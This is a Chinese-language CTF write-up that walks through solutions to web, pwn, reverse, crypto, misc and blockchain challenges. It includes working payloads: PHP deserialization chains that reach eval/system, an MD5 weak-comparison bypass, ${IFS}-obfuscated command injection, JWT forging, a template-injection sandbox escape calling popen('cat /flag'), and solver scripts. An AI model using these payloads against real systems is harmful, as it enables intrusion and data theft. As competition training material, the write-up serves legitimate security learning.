Web1 tarot_site 抽了几轮感觉没啥洞啊 draw这里会把太阳这张牌排除,对应“当太阳不在牌堆中时” 所以只要把代码改成 const deck = sourceDeck.filter(card => card);就好了(override这样就可以从本地加载了) 牌应该是随便抽就好,只要保证有太阳就行
Web2 Ex-otogibanashi 突然发现非预期了,直接访问second_stage_41d8cd、third_stage_4469f1就可以直接进stage3 poc长度有限制<200 hachiyo里面有__wakeup可以序列化后改成员数量绕过 kaguya里面ban了很多函数,格式也有限制
1 2 3 4 5 6 7 8 9 10 11 12 public function execute () { if (md5 ($this ->leave) == md5 ($this ->return ) && $this ->leave != $this ->return ) { if (!$this ->waf ($this ->kotoba)) { die ("I will be your side,maybe. \n" ); } eval ($this ->kotoba); echo "<br>" ; echo "True Happy Ending.CONGRATCULATIONS!\n" ; } else { die ("I wish i can be your side.\n" ); } }
这里md5是弱比较,可以用240610708和QNKCDZO绕 链子应该是hachiyo->__destruct()->iroha->run()->kaguya->execute() 直接调system()没回显,换call_user_func就有了 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class hachiyo { public $hito ; } class iroha { private $dream ; public function __construct ($dream ) { $this ->dream = $dream ; } } class kaguya { public $kotoba ; public $leave ; public $return ; } $k = new kaguya ();$k ->kotoba = 'call_user_func("sys"."tem", "ls /");' ;$k ->leave = "240610708" ;$k ->return = "QNKCDZO" ;$h = new hachiyo ();$h ->hito = new iroha ($k );$payload = serialize ($h );echo urlencode ($payload );
得到flag的名称是flag_1de507954c3d POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class hachiyo { public $hito ; } class iroha { private $dream ; public function __construct ($dream ) { $this ->dream = $dream ; } } class kaguya { public $kotoba ; public $leave ; public $return ; } $k = new kaguya ();$k ->kotoba = 'call_user_func("sys"."tem","cat /fla"."g_1de507954c3d");' ;$k ->leave = NAN;$k ->return = NAN;$h = new hachiyo ();$h ->hito = new iroha ($k );$payload = serialize ($h );echo urlencode ($payload );
Web3 Texas Hold’em http://ctf.a1natas.com:26969/read?name=存在任意文件读,下载源码/app/app.jar分析 一个无回显的RCE 直接ls / > /app/files/history/a.txt应该是写不进去的,用/bin/sh -c这样才能写进去
1 /bin/sh -c find${IFS}/${IFS}-maxdepth${IFS}4${IFS}-type${IFS}f${IFS}-name${IFS}*flag*${IFS}-print>files/history/a3.txt
HackBar中url包含$可能会出问题,把payload url编码一下 成功写入,得到flag的名称:/flag_5cd1f48d570673434c803ab534f7f650 读出来就好了
Web4 Auth Django 第一关登陆可以jwt爆破
伪造isAdmin进入/data 查询1报错了,泄漏了一点源码 随便输了几个,src_user会报错,user、src_group可以用 生成的SQL语句结构也不一样src_group:SELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" ON ("src_user"."author_id" = "src_group"."id") ORDER BY "src_group"."id" ASCuser:SELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" user ON ("src_user"."author_id" = user."id") ORDER BY user."id" ASCsrc_group.id:SELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" ORDER BY ("src_group".id) ASC 观察发现id和-id分别产生了正序和逆序的results,可以根据这一点来进行盲注 这里泄漏了所有列名
Pwn1 math_game 1 2 3 4 5 6 7 from pwn import *io = remote("ctf.a1natas.com" , 20213 ) for i in range (500 ): io.recvuntil(b"] " ) expr = io.recvline().strip().decode()[:-4 ] io.sendline(str (eval (expr)).encode()) io.interactive()
Pwn2 carboshop v12 = dword_4010 - totprice;这里v12是int,32位,减的时候没有判断,可以溢出到一个极大值,这样就有钱买flag了。
Reverse1 AAAbase UPX,脱壳upx -d base.exe 有一个check_flag,二次base64 换表
Reverse2 driver driver.sys里面的RunStream()实现了一个魔改RC4,EvtIoDeviceControl的操作有点像跳转表 0x222020u这里把加密结果与一个固定的数组进行比较 加密的控制码是0x222010u,驱动中调用RunStream的时候把控制码也传进去了,得到v3=4 对应下面这一个分支(实际上其他分支都没有被调用)UserClient.exe中对输入进行逆序的packet[i] ^= packet[i-1]driver_box_key应该就是key了 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 x=[ 244 , 210 , 84 , 253 , 226 , 194 , 94 , 97 , 239 , 44 , 1 , 116 , 212 , 222 , 1 , 251 , 188 , 146 , 39 , 167 , 137 , 28 , 132 , 239 , 72 , 229 , 94 , 74 , 249 , 241 , 189 , 35 , 78 ] key='driver_box_key' flag=[] j=0 c=x s=list (range (256 )) for i in range (256 ): j=((j+s[i])+ord (key[i%len (key)]))%256 s[i],s[j]=s[j],s[i] j=0 i=0 for r in c: i=(i+1 )%256 j=(j+s[i])%256 s[i],s[j]=s[j],s[i] x=(s[i]+s[j]%256 )%256 flag.append(r^s[x]%256 ^0x55 ) for i in range (1 , len (flag)): flag[i] ^= flag[i-1 ] print ('' .join(map (chr , flag)))
Reverse3 binary 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <iostream> using namespace std;char *exploit () { int v2[4 ]; int v3[4 ]; int v4[4 ]; int v5[7 ]; int i; v5[0 ] = 39 ; v5[1 ] = 39 ; v5[2 ] = 107 ; v5[3 ] = 77 ; v4[0 ] = 56 ; v4[1 ] = 56 ; v4[2 ] = 53 ; v4[3 ] = 58 ; v3[0 ] = 102 ; v3[1 ] = 102 ; v3[2 ] = 165 ; v3[3 ] = 104 ; v2[0 ] = 92 ; v2[1 ] = 88 ; v2[2 ] = 121 ; v2[3 ] = 108 ; char *a1 = new char [16 ]; for (int i = 0 ; i < 16 ; ++i) { if ((i & 3 ) != 0 ) { if (i % 4 == 1 ) { a1[i] = v4[i / 4 ] - 5 ; } else if (i % 4 == 2 ) { a1[i] = v3[i / 4 ] - a1[i - 1 ]; } else { a1[i] = v2[i / 4 ] ^ i; } } else { a1[i] = v5[i / 4 ] ^ 0x12 ; } } return a1; } int main () { char *a1 = exploit (); cout<< a1 << endl; return 0 ; }
Crypto1 Railfence 随波逐流一把梭
Crypto2 CCBBCC 1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import *fn = bytes_to_long(b"flag" ) pre = iv = bytes_to_long(b"cbc!" ) key = 535852798 ^ pre ^ fn c = [535852798 , 2121886247 , 282623936 , 1833526300 , 684945885 , 1834576442 , 465731568 , 1868785722 , 216885485 , 929963093 ] flag = b"" for i in range (len (c)): m = c[i] ^ pre ^ key flag += long_to_bytes(m) pre = c[i] print (flag)
Misc1 真签到不骗你
Misc2 superlative render 经过尝试,open、globals都在黑名单,分别用字符串拼接、getattr绕过 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <!DOCTYPE html > <html lang ="zh-CN" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Producer Card</title > <link rel ="preconnect" href ="https://fonts.googleapis.com" > <link rel ="preconnect" href ="https://fonts.gstatic.com" crossorigin > <link href ="https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;700;900&family=Poppins:wght@500;700&display=swap" rel ="stylesheet" > <style > :root { --nichika-color : #1959d9 ; --text-light : #ffffff ; --text-dark : #ffffff ; } body { font-family : 'Poppins' , 'Noto Sans JP' , sans-serif; background-color : #ffffff ; display : flex; justify-content : center; align-items : center; height : 100vh ; margin : 0 ; } .card-container { width : 910px ; height : 550px ; border-radius : 20px ; overflow : hidden; position : relative; display : flex; background-size : cover; background-position : center 30% ; } .overlay { position : absolute; inset : 0 ; background : linear-gradient (to right, rgba (0 ,0 ,0 ,0.5 ), rgba (0 ,0 ,0 ,0 ) 60% ); } .info-panel { width : 45% ; padding : 40px ; display : flex; flex-direction : column; justify-content : space-between; color : var (--text-light); clip-path : polygon (0 0 , 100% 0 , 85% 100% , 0% 100% ); background : linear-gradient (135deg , rgba (18 ,153 ,198 ,0.7 ), rgba (166 ,206 ,182 ,0.4 )); } .header { display : flex; align-items : center; gap : 15px ; } .logo-283 { width : 60px ; filter : brightness (0 ) invert (1 ); } .producer-title { font-size : 28px ; font-weight : 700 ; } .producer-name { font-size : 56px ; font-weight : 900 ; } .contact-info { list-style : none; padding : 0 ; } .contact-info li { margin-bottom : 12px ; font-size : 20px ; display : flex; align-items : center; } .label { background-color : var (--nichika-color); padding : 2px 8px ; border-radius : 5px ; margin-right : 10px ; } .art-panel { flex-grow : 1 ; position : relative; } .signature { position : absolute; right : 10px ; bottom : 30px ; width : 150px ; opacity : 0.9 ; filter : drop-shadow (0 4px 6px rgba (0 , 0 , 0 , 0.6 )); } </style > </head > <body > <div class ="card-container" tal:define =" producer_name producer_name | 'AyaN0P'; idol_name idol_name | 'Hataya Misuzu'; agency_logo '/static/hatsuboshi_gakuen.png'; bg_image '/static/cg.png'; signature_img '/static/msz.png'; contacts contacts | [ {'label': 'QQ', 'value': '114451419'}, {'label': 'Gakumas', 'value': 'AP983UEL'} ]; " tal:attributes ="style 'background-image:url(%s)' % bg_image" > <div class ="overlay" > </div > <div class ="info-panel" > <div class ="header" > <img class ="logo-283" tal:attributes ="src agency_logo" /> <h1 class ="producer-title" tal:content ="idol_name + ' Producer'" > </h1 > </div > <div class ="main-content" > <h2 class ="producer-name" tal:content ="producer_name" > </h2 > <ul class ="contact-info" > <li tal:repeat ="c contacts" > <span class ="label" tal:content ="c['label']" > </span > <span tal:content ="c[str(getattr('value'.__class__.__base__.__subclasses__()[159].__init__, '__glo'+'bals__')['pop''en']('cat /flag').read())]" > </span > </li > </ul > </div > </div > <div class ="art-panel" > <img class ="signature" tal:attributes ="src signature_img" /> </div > </div > </body > </html >
Blockchain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; uint256 public consecutiveWins = 0; uint256 public currentBlockValue; constructor() { currentBlockValue = uint256(blockhash(block.number - 1)); } function flip(bool _guess) public returns (bool) { uint256 coinFlip = currentBlockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; } else { consecutiveWins = 0; } currentBlockValue = uint256(blockhash(block.number - 1)); return side == _guess; } function getValue() public view returns (uint256) { return currentBlockValue; } function isSolved() public view returns (bool) { return consecutiveWins >= 10; } }